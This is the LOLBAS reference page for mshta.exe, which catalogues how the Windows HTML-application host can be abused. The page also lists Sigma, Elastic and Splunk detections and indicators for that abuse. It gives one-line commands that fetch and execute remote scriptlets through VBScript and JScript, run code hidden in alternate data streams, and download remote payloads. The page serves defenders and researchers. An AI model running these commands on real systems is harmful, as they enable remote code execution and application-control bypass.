

# Mshta on LOLBAS

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## .. /Mshta.exe

Used by Windows to execute html applications. (.hta)

### Paths:

- C:\Windows\System32\mshta.exe
- C:\Windows\SysWOW64\mshta.exe

### Resources:

- [https://evi1cg.me/archives/AppLocker\\_Bypass\\_Techniques.html#menu\\_index\\_4](https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4)
- <https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct>
- <https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/>
- <https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/>

### Acknowledgements:

- Casey Smith (@subtee)
- Oddvar Moe (@oddvarmoe)
- Nir Chako (Pentera) (@C\_h4ck\_0)

### Detections:

- Sigma: [proc\\_creation\\_win\\_mshta\\_susp\\_pattern.yml](#)
- Sigma: [proc\\_creation\\_win\\_hktd\\_invoke\\_obfuscation\\_via\\_use\\_mshta.yml](#)
- Sigma: [proc\\_creation\\_win\\_mshta\\_lethalhta\\_technique.yml](#)
- Sigma: [proc\\_creation\\_win\\_mshta\\_javascript.yml](#)
- Sigma: [file\\_event\\_win\\_net\\_cli\\_artefact.yml](#)
- Sigma: [image\\_load\\_susp\\_script\\_dotnet\\_clr\\_dll\\_load.yml](#)
- Elastic: [defense\\_evasion\\_mshta\\_beacon.toml](#)
- Elastic: [lateral\\_movement\\_dcom\\_hta.toml](#)
- Elastic: [defense\\_evasion\\_suspicious\\_managedcode\\_host\\_process.toml](#)
- Splunk: [suspicious\\_mshta\\_activity.yml](#)
- Splunk: [detect\\_mshta\\_renamed.yml](#)
- Splunk: [suspicious\\_mshta\\_spawn.yml](#)
- Splunk: [suspicious\\_mshta\\_child\\_process.yml](#)
- Splunk: [detect\\_mshta\\_url\\_in\\_command\\_line.yml](#)

- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- IOC: mshta.exe executing raw or obfuscated script within the command-line
- IOC: General usage of HTA file
- IOC: mshta.exe network connection to Internet/WWW resource
- IOC: DotNet CLR libraries loaded into mshta.exe
- IOC: DotNet CLR Usage Log - mshta.exe.log

## Execute

1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

```
mshta.exe file.hta
```

Use case

Execute code

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1218.005: Mshta](#)

Tags

Execute: HTA

Execute: Remote

2. Executes VBScript supplied as a command line argument.

```
mshta.exe vbscript:Close(Execute("GetObject("script:https://www.example.org/file.sct")))
```

Use case

Execute code

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1218.005: Mshta](#)

Tags

Execute: VBScript

3. Executes JavaScript supplied as a command line argument.

```
mshta.exe javascript:a=GetObject("script:https://www.example.org/file.sct").Exec();close();
```

Use case

Execute code

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1218.005: Mshta](#)

Tags

Execute: JScript

## Alternate data streams

1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

```
mshta.exe "C:\Windows\Temp\file.ext:file.hta"
```

Use case

Execute code hidden in alternate data stream

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)

ATT&CK® technique

[T1218.005: Mshta](#)

Tags

Execute: HTA

## Download

1. It will download a remote payload and place it in INetCache.

```
mshta.exe https://www.example.org/file.ext
```

#### Use case

Downloads payload from remote server

#### Privileges required

User

#### Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

#### ATT&CK® technique

[T1105: Ingress Tool Transfer](#)

#### Tags

Download: INetCache

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Source: <https://lolbas-project.github.io/lolbas/Binaries/Mshta/>